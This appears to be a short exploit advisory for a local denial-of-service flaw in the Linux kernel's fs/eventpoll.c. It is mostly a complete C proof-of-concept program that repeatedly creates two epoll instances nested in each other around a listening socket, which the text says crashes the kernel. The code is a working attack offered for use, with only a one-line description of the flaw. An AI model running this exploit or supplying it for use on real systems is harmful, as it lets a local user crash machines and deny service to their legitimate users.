Linux Kernel fs/eventpoll.c Local Denial of Service

The Linux Kernel is prone to a local denial-of-service vulnerability.

Successful exploits will allow attackers to cause the kernel to crash, denying service to legitimate users.

Code:

#include <netinet/in.h>
#include <sys/epoll.h>
#include <errno.h>

int
main ()
{
    struct sockaddr_in addr;
    struct epoll_event event;
    int epfd1, epfd2, sock;
    int rc;
    int i = 0;
    while (1)
    {
        printf("ITERATION %d\n", ++i);
        epfd1 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd1, errno);
        epfd2 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd2, errno);

        sock = socket(PF_INET, SOCK_STREAM, 0);
        printf("socket() -> %d(%d)\n", sock, errno);

        addr.sin_family = AF_INET;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = 0;
        rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
        printf("bind() -> %d(%d)\n", rc, errno);

        rc = listen(sock, 1);
        printf("listen() -> %d(%d)\n", rc, errno);

        event.data.fd = sock;
        event.events = 0;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

        event.data.fd = epfd2;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

        event.data.fd = epfd1;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

        rc = close(epfd1);
        printf("close(epfd1) -> %d(%d)\n", rc, errno);

        rc = close(epfd2);
        printf("close(epfd2) -> %d(%d)\n", rc, errno);

        rc = close(sock);
        printf("close(sock) -> %d(%d)\n", rc, errno);

        sleep(1);
        printf("\n\n");
    }
    return 0;
}